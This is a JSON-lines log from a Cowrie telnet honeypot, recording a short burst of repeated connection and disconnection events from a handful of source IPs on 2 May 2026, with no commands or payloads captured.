{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50248,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ebea7a886ed","protocol":"telnet","message":"New connection: 199.231.212.75:50248 (10.17.0.5:23) [session: 4ebea7a886ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:27.291268Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33866,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ebecd1fa8e","protocol":"telnet","message":"New connection: 164.68.122.45:33866 (10.17.0.5:23) [session: 97ebecd1fa8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:27.419328Z"}
{"eventid":"cowrie.session.closed","duration":31.118122339248657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:27.513024Z","src_ip":"164.68.122.45","session":"aaec099f2e5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44454026222229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:27.518843Z","src_ip":"164.68.122.45","session":"f81fc84f7d7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50258,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8093a37478","protocol":"telnet","message":"New connection: 199.231.212.75:50258 (10.17.0.5:23) [session: 2a8093a37478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:28.076568Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50266,"dst_ip":"10.17.0.5","dst_port":23,"session":"25f8ba206cb9","protocol":"telnet","message":"New connection: 199.231.212.75:50266 (10.17.0.5:23) [session: 25f8ba206cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:28.152096Z"}
{"eventid":"cowrie.session.closed","duration":31.026061296463013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:28.188017Z","src_ip":"164.68.122.45","session":"32cf71aedda8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.532907724380493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:28.202734Z","src_ip":"164.68.122.45","session":"8ece547fd02f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953857898712158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:28.796720Z","src_ip":"164.68.122.45","session":"2e7b20d7ba7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33876,"dst_ip":"10.17.0.5","dst_port":23,"session":"05311889e5e7","protocol":"telnet","message":"New connection: 164.68.122.45:33876 (10.17.0.5:23) [session: 05311889e5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:28.901751Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33878,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b5af17b1b02","protocol":"telnet","message":"New connection: 164.68.122.45:33878 (10.17.0.5:23) [session: 9b5af17b1b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:29.083069Z"}
{"eventid":"cowrie.session.closed","duration":30.72996473312378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:29.228032Z","src_ip":"199.231.212.75","session":"057dcb0985a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50282,"dst_ip":"10.17.0.5","dst_port":23,"session":"76fd9129b7d7","protocol":"telnet","message":"New connection: 199.231.212.75:50282 (10.17.0.5:23) [session: 76fd9129b7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:29.416655Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50284,"dst_ip":"10.17.0.5","dst_port":23,"session":"38bd4c8528bb","protocol":"telnet","message":"New connection: 199.231.212.75:50284 (10.17.0.5:23) [session: 38bd4c8528bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:29.563478Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50292,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf9defcbdc0","protocol":"telnet","message":"New connection: 199.231.212.75:50292 (10.17.0.5:23) [session: 6cf9defcbdc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:29.580673Z"}
{"eventid":"cowrie.session.closed","duration":31.008089780807495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:29.672496Z","src_ip":"199.231.212.75","session":"ad0de69d0c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33884,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4facbf8d0aa","protocol":"telnet","message":"New connection: 164.68.122.45:33884 (10.17.0.5:23) [session: c4facbf8d0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:29.693881Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50308,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a0b61089e71","protocol":"telnet","message":"New connection: 199.231.212.75:50308 (10.17.0.5:23) [session: 0a0b61089e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:29.933539Z"}
{"eventid":"cowrie.session.closed","duration":30.983142852783203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:30.099657Z","src_ip":"164.68.122.45","session":"d4dbfd92b16c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.018757343292236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:30.105772Z","src_ip":"164.68.122.45","session":"a1d8755e0e1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56088,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2df26b21886","protocol":"telnet","message":"New connection: 164.68.122.45:56088 (10.17.0.5:23) [session: e2df26b21886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:30.389632Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54276,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1fd156db96f","protocol":"telnet","message":"New connection: 199.231.212.75:54276 (10.17.0.5:23) [session: b1fd156db96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:30.395901Z"}
{"eventid":"cowrie.session.closed","duration":30.707104921340942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:30.432273Z","src_ip":"164.68.122.45","session":"0c292b9674f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77310085296631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:31.113483Z","src_ip":"164.68.122.45","session":"9ffd51d45e54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41962,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa6102a25bb6","protocol":"telnet","message":"New connection: 86.120.107.100:41962 (10.17.0.5:23) [session: fa6102a25bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:31.349020Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56102,"dst_ip":"10.17.0.5","dst_port":23,"session":"99ca793b9fb6","protocol":"telnet","message":"New connection: 164.68.122.45:56102 (10.17.0.5:23) [session: 99ca793b9fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:31.580598Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56118,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46245d52401","protocol":"telnet","message":"New connection: 164.68.122.45:56118 (10.17.0.5:23) [session: d46245d52401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:31.687385Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54286,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b2d78dc54c8","protocol":"telnet","message":"New connection: 199.231.212.75:54286 (10.17.0.5:23) [session: 1b2d78dc54c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:31.783853Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41978,"dst_ip":"10.17.0.5","dst_port":23,"session":"e95b5c3c45f3","protocol":"telnet","message":"New connection: 86.120.107.100:41978 (10.17.0.5:23) [session: e95b5c3c45f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:32.107071Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56134,"dst_ip":"10.17.0.5","dst_port":23,"session":"02df5312ac0a","protocol":"telnet","message":"New connection: 164.68.122.45:56134 (10.17.0.5:23) [session: 02df5312ac0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:32.974322Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54300,"dst_ip":"10.17.0.5","dst_port":23,"session":"309d2589322e","protocol":"telnet","message":"New connection: 199.231.212.75:54300 (10.17.0.5:23) [session: 309d2589322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:33.064468Z"}
{"eventid":"cowrie.session.closed","duration":30.242968559265137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:33.106295Z","src_ip":"164.68.122.45","session":"61b08a8eca46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.275931119918823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:33.120020Z","src_ip":"86.120.107.100","session":"b90708fe1eb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23374032974243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:33.131891Z","src_ip":"199.231.212.75","session":"a7d2d7f1139b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.424736976623535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:33.225001Z","src_ip":"199.231.212.75","session":"f3af7e4eb5fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54304,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1a82fce2eec","protocol":"telnet","message":"New connection: 199.231.212.75:54304 (10.17.0.5:23) [session: a1a82fce2eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:33.431174Z"}
{"eventid":"cowrie.session.closed","duration":31.546274185180664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:33.530537Z","src_ip":"199.231.212.75","session":"525af77fcd34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56138,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3c5d427b5d8","protocol":"telnet","message":"New connection: 164.68.122.45:56138 (10.17.0.5:23) [session: a3c5d427b5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:33.901632Z"}
{"eventid":"cowrie.session.closed","duration":31.08414936065674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:34.089085Z","src_ip":"86.120.107.100","session":"e32b66bf3b18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54308,"dst_ip":"10.17.0.5","dst_port":23,"session":"cec06c549f75","protocol":"telnet","message":"New connection: 199.231.212.75:54308 (10.17.0.5:23) [session: cec06c549f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:34.550978Z"}
{"eventid":"cowrie.session.closed","duration":31.55972170829773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:34.558791Z","src_ip":"199.231.212.75","session":"e4415c61de04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50391936302185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:35.116049Z","src_ip":"199.231.212.75","session":"7cf71f57a0a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18629217147827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:35.182707Z","src_ip":"164.68.122.45","session":"102489e9d660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35410,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0fc948d7241","protocol":"telnet","message":"New connection: 174.138.46.234:35410 (159.203.135.109:23) [session: d0fc948d7241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:35.432952Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54316,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b58544f05f","protocol":"telnet","message":"New connection: 199.231.212.75:54316 (10.17.0.5:23) [session: 15b58544f05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:35.512805Z"}
{"eventid":"cowrie.session.closed","duration":30.77764868736267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:35.680988Z","src_ip":"164.68.122.45","session":"65b3186cd3a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19176411628723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:35.885720Z","src_ip":"199.231.212.75","session":"d6e96b0900e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.527318954467773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:36.101348Z","src_ip":"86.120.107.100","session":"44317f771a0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.261236667633057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:36.167980Z","src_ip":"164.68.122.45","session":"2c2a16ee2eb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45810317993164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:36.175397Z","src_ip":"199.231.212.75","session":"e32c12c1736a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09696102142334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:36.262055Z","src_ip":"164.68.122.45","session":"0f1137f3fdfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54320,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a1a646224e2","protocol":"telnet","message":"New connection: 199.231.212.75:54320 (10.17.0.5:23) [session: 8a1a646224e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:36.706254Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54336,"dst_ip":"10.17.0.5","dst_port":23,"session":"81c1d49b5730","protocol":"telnet","message":"New connection: 199.231.212.75:54336 (10.17.0.5:23) [session: 81c1d49b5730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:36.905062Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56140,"dst_ip":"10.17.0.5","dst_port":23,"session":"53dff332e1e7","protocol":"telnet","message":"New connection: 164.68.122.45:56140 (10.17.0.5:23) [session: 53dff332e1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:36.970498Z"}
{"eventid":"cowrie.session.closed","duration":31.655733585357666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:36.998628Z","src_ip":"164.68.122.45","session":"b9727cc59b13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.850486516952515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:37.004254Z","src_ip":"164.68.122.45","session":"0cff30de8dfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54348,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c7ef53b8069","protocol":"telnet","message":"New connection: 199.231.212.75:54348 (10.17.0.5:23) [session: 4c7ef53b8069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:37.083093Z"}
{"eventid":"cowrie.session.closed","duration":30.74791431427002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:37.221900Z","src_ip":"164.68.122.45","session":"2ce97f718548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56144,"dst_ip":"10.17.0.5","dst_port":23,"session":"980171cd2c2a","protocol":"telnet","message":"New connection: 164.68.122.45:56144 (10.17.0.5:23) [session: 980171cd2c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:37.972542Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":54352,"dst_ip":"10.17.0.5","dst_port":23,"session":"05fb335478cf","protocol":"telnet","message":"New connection: 199.231.212.75:54352 (10.17.0.5:23) [session: 05fb335478cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:38.094137Z"}
{"eventid":"cowrie.session.closed","duration":30.665422439575195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:38.109250Z","src_ip":"86.120.107.100","session":"c6328e6fca7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.357747793197632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:38.113817Z","src_ip":"199.231.212.75","session":"cfd92bb9a2f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.423069953918457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:38.219384Z","src_ip":"164.68.122.45","session":"691c2c648874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.298521041870117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:38.281867Z","src_ip":"164.68.122.45","session":"a47afcb0eecc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980618476867676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:38.498903Z","src_ip":"199.231.212.75","session":"26afbd6a6186","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73840641975403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:38.772732Z","src_ip":"164.68.122.45","session":"00f6413fb138","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19966983795166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:39.066383Z","src_ip":"164.68.122.45","session":"52e5410b6620","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7182016372680664,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:39.151023Z","src_ip":"174.138.46.234","session":"d0fc948d7241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190021514892578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:39.232282Z","src_ip":"199.231.212.75","session":"265e9ccdc876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56150,"dst_ip":"10.17.0.5","dst_port":23,"session":"76bc78737ce0","protocol":"telnet","message":"New connection: 164.68.122.45:56150 (10.17.0.5:23) [session: 76bc78737ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:39.326738Z"}
{"eventid":"cowrie.session.closed","duration":30.470776319503784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:39.399482Z","src_ip":"164.68.122.45","session":"80fcb6082cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140726804733276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:39.468720Z","src_ip":"164.68.122.45","session":"222642f9342b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021255016326904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:40.152081Z","src_ip":"164.68.122.45","session":"e05de0bb9005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49751377105713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:40.787235Z","src_ip":"164.68.122.45","session":"b4aa59093276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47138,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4df71d0265","protocol":"telnet","message":"New connection: 199.231.212.75:47138 (10.17.0.5:23) [session: 4b4df71d0265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:40.873101Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47152,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c32952b314e","protocol":"telnet","message":"New connection: 199.231.212.75:47152 (10.17.0.5:23) [session: 6c32952b314e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:40.926546Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":39684,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9d6fa747906","protocol":"telnet","message":"New connection: 164.68.122.45:39684 (10.17.0.5:23) [session: a9d6fa747906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:40.986260Z"}
{"eventid":"cowrie.session.closed","duration":30.69664692878723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:41.154068Z","src_ip":"86.120.107.100","session":"ce1be9dd04c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59059453010559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:41.160665Z","src_ip":"164.68.122.45","session":"0da786295484","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2190682888031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:41.179148Z","src_ip":"199.231.212.75","session":"ffc8c85e0a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":47158,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ded6cf6169","protocol":"telnet","message":"New connection: 199.231.212.75:47158 (10.17.0.5:23) [session: 21ded6cf6169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:41.204206Z"}
{"eventid":"cowrie.session.closed","duration":31.08598518371582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:41.482101Z","src_ip":"164.68.122.45","session":"763a24964ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090375423431396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:41.808408Z","src_ip":"164.68.122.45","session":"f94501afe04b","protocol":"telnet"}
